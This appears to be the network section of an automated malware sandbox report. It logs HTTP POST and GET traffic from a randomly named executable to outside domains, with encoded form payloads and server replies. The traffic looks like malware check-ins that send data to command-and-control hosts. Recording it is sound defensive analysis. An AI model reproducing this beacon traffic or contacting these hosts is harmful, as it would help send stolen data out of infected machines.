Oct 19, 2024 12:58:02.207951069 CEST	901	OUT	POST /zqr8/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/zqr8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 54 48 49 58 38 48 58 6c 62 67 31 52 45 47 65 4c 2b 61 52 54 33 44 53 32 33 4a 42 7a 75 4f 58 55 79 59 2b 6b 53 77 62 65 51 4e 36 77 52 74 6f 45 4a 6f 62 79 56 6d 50 52 4c 33 6a 78 2f 6d 54 39 72 43 59 54 66 6c 76 79 6e 44 39 48 31 39 41 35 6c 6b 59 61 5a 39 2f 61 57 63 68 39 4b 45 67 6c 36 79 7a 76 45 4c 69 79 68 31 44 34 74 6c 49 30 4d 57 4e 6b 51 41 65 66 47 4d 58 69 6c 47 69 76 55 41 75 6c 51 4c 41 54 47 49 51 46 35 42 4b 48 6c 56 58 33 71 36 42 6e 53 41 55 4c 67 54 71 6f 73 47 4a 50 77 64 73 2b 43 6d 78 50 46 59 74 70 49 38 38 33 38 49 31 59 4d 46 56 42 50 72 2b 4a 52 32 77 32 4d 71 34 39 74 65 54 55 56 71 6a 38 75 7a 53 70 7a 65 63 3d Data Ascii: 2BWDG=THIX8HXlbg1REGeL+aRT3DS23JBzuOXUyY+kSwbeQN6wRtoEJobyVmPRL3jx/mT9rCYTflvynD9H19A5lkYaZ9/aWch9KEgl6yzvELiyh1D4tlI0MWNkQAefGMXilGivUAulQLATGIQF5BKHlVX3q6BnSAULgTqosGJPwds+CmxPFYtpI8838I1YMFVBPr+JR2w2Mq49teTUVqj8uzSpzec=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50022	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:04.758877993 CEST	10983	OUT	POST /zqr8/ HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cablecarrental.net Referer: http://www.cablecarrental.net/zqr8/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 54 48 49 58 38 48 58 6c 62 67 31 52 45 47 65 4c 2b 61 52 54 33 44 53 32 33 4a 42 7a 75 4f 58 55 79 59 2b 6b 53 77 62 65 51 4e 79 77 52 66 67 45 62 2f 50 79 53 6d 50 52 49 33 6a 77 2f 6d 53 2f 72 44 77 58 66 6c 53 48 6e 41 46 48 31 66 6b 35 69 56 59 61 43 74 2f 61 55 63 68 38 48 6b 67 4b 36 79 44 7a 45 4c 79 79 68 31 44 34 74 6d 51 30 4f 48 4e 6b 53 41 65 63 48 4d 58 75 30 57 69 48 55 41 32 66 51 4c 46 6d 48 35 73 46 35 68 36 48 69 6e 2f 33 6f 61 42 6c 52 41 55 54 67 54 6d 4e 73 43 70 74 77 65 78 70 43 67 4e 50 45 4d 41 51 53 2f 30 42 69 70 4e 47 58 48 4a 32 47 5a 36 55 49 6b 51 6a 64 50 38 52 37 64 6e 35 49 36 4f 55 30 42 4f 4a 78 61 44 64 74 74 50 51 73 72 34 61 79 63 51 6d 38 4b 67 52 64 73 45 79 54 77 38 65 53 69 66 65 51 44 4e 57 77 53 31 45 39 33 52 4c 31 67 7a 6c 72 79 68 4d 4b 66 2f 6d 45 6e 55 65 75 54 75 77 64 32 45 45 36 57 57 34 4a 67 30 59 5a 45 4a 68 4a 56 56 48 34 6c 48 78 74 70 67 73 42 6e 4e 61 78 44 5a 56 2b 2b 38 39 32 52 39 58 73 51 66 39 43 77 77 79 6b 4e 7a 30 [TRUNCATED] Data Ascii: 2BWDG=THIX8HXlbg1REGeL+aRT3DS23JBzuOXUyY+kSwbeQNywRfgEb/PySmPRI3jw/mS/rDwXflSHnAFH1fk5iVYaCt/aUch8HkgK6yDzELyyh1D4tmQ0OHNkSAecHMXu0WiHUA2fQLFmH5sF5h6Hin/3oaBlRAUTgTmNsCptwexpCgNPEMAQS/0BipNGXHJ2GZ6UIkQjdP8R7dn5I6OU0BOJxaDdttPQsr4aycQm8KgRdsEyTw8eSifeQDNWwS1E93RL1gzlryhMKf/mEnUeuTuwd2EE6WW4Jg0YZEJhJVVH4lHxtpgsBnNaxDZV++892R9XsQf9CwwykNz0qXNW2OfTdfq7DldWycs7w3j+Yd2UyBWn206AJ5iUOWRDHvLS1vZVjdlptI7fqwhqAojPQXw03Zyw0gPPJS+VV4X7C4OJDA4RZIW7TorfaLtw0eXpqrJGVe0gqtH8x90K47XPk/EO74p3SYFprhwdCdR9fA3LbAdJ959nJJz1e6Vq81muzpa+/N1MmJ4FH8qNQYlWcF3DBMA64O5bWTnZelFKltbt59KPzW/bFeGn9nSTdP3mJ94imOviK1T6qGWJNNCrWwNII9LU4vWRnxeKkZEFboWP9qVaMC5iinp7gK/FmDDEbvJxau7SFohAs9eNLfU9Bx5TMbkVJvXphfobIyh6m8b8fUf4KbRgkejjtJkEwkq1dh6OuVoBvN7BDr2kD3s2IKFyyHk1rsp9v+Hw1I5owpMf+jDkdfmADjFptLMjzD5Sh3Z0hON2/wc0n3nrlHiuHoWHJ3Ntgo7F9xBrTHXg63GPy18blvqJyQb08B9oYoTqJw4yBYfO1AtwjFy0gQnek/VSL0Pqt74zxEseGHXaPMEKxZTC9wDKKdLES8u98WJe+OkGwk5XO9+cp+XjhfTGs6BGXGB6+bTpjRDuVgcOP3GyEgX3hHN6PnwqtzW1TgqCD1g0kq2ymRfU/I6kWrjjMf4uw2Na4zglXopFLCw94AoTJWjxuF [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	50023	3.33.130.190	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:07.298891068 CEST	601	OUT	GET /zqr8/?wfm=G6oTo8vx&2BWDG=eFg3/wX1FEtYOEOO4fQK8DyYn+9t5MnQ8eGMWFr4U+K0Svorcp+hU2bkMlDd81KIhBlHBG6GkgZ398FJiVEbDYmwZdVtcUsewSnSC4COghX7uWVmIVZIHjw= HTTP/1.1 Host: www.cablecarrental.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED)
Oct 19, 2024 12:58:07.936068058 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sat, 19 Oct 2024 10:58:07 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 66 6d 3d 47 36 6f 54 6f 38 76 78 26 32 42 57 44 47 3d 65 46 67 33 2f 77 58 31 46 45 74 59 4f 45 4f 4f 34 66 51 4b 38 44 79 59 6e 2b 39 74 35 4d 6e 51 38 65 47 4d 57 46 72 34 55 2b 4b 30 53 76 6f 72 63 70 2b 68 55 32 62 6b 4d 6c 44 64 38 31 4b 49 68 42 6c 48 42 47 36 47 6b 67 5a 33 39 38 46 4a 69 56 45 62 44 59 6d 77 5a 64 56 74 63 55 73 65 77 53 6e 53 43 34 43 4f 67 68 58 37 75 57 56 6d 49 56 5a 49 48 6a 77 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wfm=G6oTo8vx&2BWDG=eFg3/wX1FEtYOEOO4fQK8DyYn+9t5MnQ8eGMWFr4U+K0Svorcp+hU2bkMlDd81KIhBlHBG6GkgZ398FJiVEbDYmwZdVtcUsewSnSC4COghX7uWVmIVZIHjw="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	50024	221.128.225.57	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:13.986521959 CEST	863	OUT	POST /90ie/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 202 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/90ie/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 48 49 76 62 50 36 45 6c 50 47 30 30 6a 68 54 74 36 30 39 6d 39 2f 47 51 66 37 4d 38 4b 44 38 79 67 48 74 51 67 77 34 52 58 53 4b 65 55 38 45 6c 48 31 65 54 69 47 65 56 30 62 68 4c 62 4d 6c 34 41 77 34 4d 76 62 79 53 6d 65 50 73 4f 58 68 49 36 57 61 2b 62 2b 38 2f 73 6f 66 75 73 66 51 71 37 79 53 7a 6f 4a 63 37 31 31 52 73 4c 71 4e 36 42 52 54 74 6a 68 44 33 70 6d 50 32 39 66 34 4e 48 62 69 2b 50 4a 61 4a 57 52 43 52 7a 31 31 49 4d 50 32 50 31 2b 35 48 33 47 4f 69 44 65 64 74 46 61 4b 46 31 4e 39 61 38 65 33 57 42 2b 41 71 79 30 76 68 37 43 52 77 45 35 76 71 56 6f 39 6b 41 3d 3d Data Ascii: 2BWDG=NHIvbP6ElPG00jhTt609m9/GQf7M8KD8ygHtQgw4RXSKeU8ElH1eTiGeV0bhLbMl4Aw4MvbySmePsOXhI6Wa+b+8/sofusfQq7ySzoJc711RsLqN6BRTtjhD3pmP29f4NHbi+PJaJWRCRz11IMP2P1+5H3GOiDedtFaKF1N9a8e3WB+Aqy0vh7CRwE5vqVo9kA==
Oct 19, 2024 12:58:14.948312998 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=a671d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=Lax Date: Sat, 19 Oct 2024 10:58:13 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Oct 19, 2024 12:58:14.950340986 CEST	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	50025	221.128.225.57	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:16.537206888 CEST	883	OUT	POST /90ie/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 222 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/90ie/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 48 49 76 62 50 36 45 6c 50 47 30 37 67 4a 54 71 62 30 39 68 64 2f 4a 4d 50 37 4d 72 61 44 34 79 67 44 74 51 68 30 57 52 69 69 4b 65 31 4d 45 33 57 31 65 53 69 47 65 65 55 62 6b 46 37 4d 71 34 41 4d 61 4d 72 54 79 53 6d 69 50 73 4f 48 68 4a 4e 36 5a 34 62 2b 45 33 4d 6f 64 68 4d 66 51 71 37 79 53 7a 6f 4e 32 37 31 39 52 74 34 69 4e 37 6b 78 53 75 6a 68 45 6e 4a 6d 50 38 64 66 38 4e 48 62 63 2b 4b 68 6b 4a 55 70 43 52 79 46 31 49 39 50 78 42 31 2b 67 49 58 48 66 6b 42 7a 74 31 6e 36 48 43 48 39 30 58 34 4f 58 65 6e 76 61 37 44 56 34 7a 37 6d 69 74 44 77 62 6e 57 56 30 2f 46 55 57 56 31 38 62 69 7a 57 73 2f 65 4b 31 43 42 2b 72 61 6e 55 3d Data Ascii: 2BWDG=NHIvbP6ElPG07gJTqb09hd/JMP7MraD4ygDtQh0WRiiKe1ME3W1eSiGeeUbkF7Mq4AMaMrTySmiPsOHhJN6Z4b+E3ModhMfQq7ySzoN2719Rt4iN7kxSujhEnJmP8df8NHbc+KhkJUpCRyF1I9PxB1+gIXHfkBzt1n6HCH90X4OXenva7DV4z7mitDwbnWV0/FUWV18bizWs/eK1CB+ranU=
Oct 19, 2024 12:58:17.484088898 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=a673d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=Lax Date: Sat, 19 Oct 2024 10:58:16 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
Oct 19, 2024 12:58:17.484107971 CEST	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>
Oct 19, 2024 12:58:17.507009983 CEST	165	IN	Data Raw: 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e c4 fa d2 aa b2 e9 d5 d2 b5 c4 d7 ca d4 b4 bf c9 c4 dc d2 d1 b1 bb c9 be Data Ascii: r"><fieldset> <h2>404 - </h2> <h3></h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50026	221.128.225.57	80	3980	C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 19, 2024 12:58:19.082093000 CEST	10965	OUT	POST /90ie/ HTTP/1.1 Host: www.cqghwamc.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Content-Length: 10302 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.cqghwamc.top Referer: http://www.cqghwamc.top/90ie/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; GWX:RESERVED) Data Raw: 32 42 57 44 47 3d 4e 48 49 76 62 50 36 45 6c 50 47 30 37 67 4a 54 71 62 30 39 68 64 2f 4a 4d 50 37 4d 72 61 44 34 79 67 44 74 51 68 30 57 52 6a 32 4b 66 48 45 45 6c 6c 4e 65 44 53 47 65 54 30 62 6c 46 37 4d 33 34 41 6b 65 4d 72 66 49 53 67 75 50 75 74 2f 68 42 59 4f 5a 72 37 2b 45 31 4d 6f 51 75 73 65 53 71 37 69 57 7a 6f 64 32 37 31 39 52 74 35 53 4e 79 52 52 53 6f 6a 68 44 33 70 6d 4c 32 39 66 55 4e 48 69 6e 2b 4b 73 52 4a 46 4a 43 57 53 56 31 62 76 6e 78 65 6c 2b 69 50 58 48 48 6b 42 2f 79 31 6e 58 32 43 48 6c 4e 58 2f 2b 58 62 44 76 4e 68 42 56 6f 6e 6f 61 6f 77 41 4d 41 6d 47 56 48 35 33 78 6a 64 6e 51 47 39 53 6d 6c 38 38 4c 64 53 78 57 4b 42 57 54 6f 74 36 59 2f 4f 43 46 42 30 46 73 7a 2f 36 5a 72 72 73 59 74 6f 76 73 35 36 38 6b 41 6d 45 51 62 58 58 44 4e 67 56 73 72 6b 32 6d 76 5a 57 43 32 4b 2f 61 30 57 6b 4a 41 2b 58 71 68 38 2f 4f 4c 46 71 4b 6f 58 72 2f 33 42 46 6a 5a 78 79 55 64 47 47 45 52 6d 6a 53 67 49 69 6d 4f 74 33 74 2f 30 6f 4b 36 53 47 2f 2b 4b 68 4d 53 30 55 4e 7a 4a 34 74 30 [TRUNCATED] Data Ascii: 2BWDG=NHIvbP6ElPG07gJTqb09hd/JMP7MraD4ygDtQh0WRj2KfHEEllNeDSGeT0blF7M34AkeMrfISguPut/hBYOZr7+E1MoQuseSq7iWzod2719Rt5SNyRRSojhD3pmL29fUNHin+KsRJFJCWSV1bvnxel+iPXHHkB/y1nX2CHlNX/+XbDvNhBVonoaowAMAmGVH53xjdnQG9Sml88LdSxWKBWTot6Y/OCFB0Fsz/6ZrrsYtovs568kAmEQbXXDNgVsrk2mvZWC2K/a0WkJA+Xqh8/OLFqKoXr/3BFjZxyUdGGERmjSgIimOt3t/0oK6SG/+KhMS0UNzJ4t0GTAxCxcL2aaEtbsRaOI1U9RBOYG9g0zi+dzCT8cP5war8k91C+ziTeiwsnBli9HENLKNPr07B7Dz2vENHdNMEauila5u7bHH8itz+OigbRYL2A5BIhuMdf/qe8tn2sb+DTPQS22LPNRpg2Vm5oJVW9YwJkhfgWkvDTaMI2WXUf9KLsTIIz1HBwJTb/blRFJcX4SywCSEY3yAt/r+vWMJe/Dr1zIieVY0VlIvRR6pk+yWtoQMuP/i+HXFgK1hqESNpGdi2ejWoOBfPC6QvRMmE0IHfvqbOcf940D6kb/4fIJ82zic1W5POer3w2si5B6Ldz3P++26ics6m5VGGZUE4N878ML705LUfcmSKYZh8vC/spSE0A0cT1P+jrpXAjjR2VM5T2oJo5TEKQz6emwTZD4HauMCTTeXyjFUnPjAObfRpHzqfae14wPdcJzJa09MrejM5Js9CyIuzK8D9CjoHzg7vI0Ogq2wCjGvuIvUPr/PwO6hr6ZcrKf3GEcFtQr0jMgv75GoY5k8n0FRnmIaz8xXl2EUuB2ikSdNwuMYWcBEVDLEJHIUg5mNk2JWnq6PN3aB/rsnlIQj7EZUAmCBT0EqE6vXkervX+Pj8sAs+Dy4XMvcmHMOwZdzyRpZx1bWrzUivinBnHdnUb4s4gT8HB1M3zbbQvRHGa [TRUNCATED]
Oct 19, 2024 12:58:20.029829025 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 Set-Cookie: _d_id=a675d5211e16a0470c6885ef782ea8; Path=/; HttpOnly; SameSite=Lax Date: Sat, 19 Oct 2024 10:58:18 GMT Connection: close Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"/><title>404 - </title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1></h1></div><div id="content"> <div class="content-containe
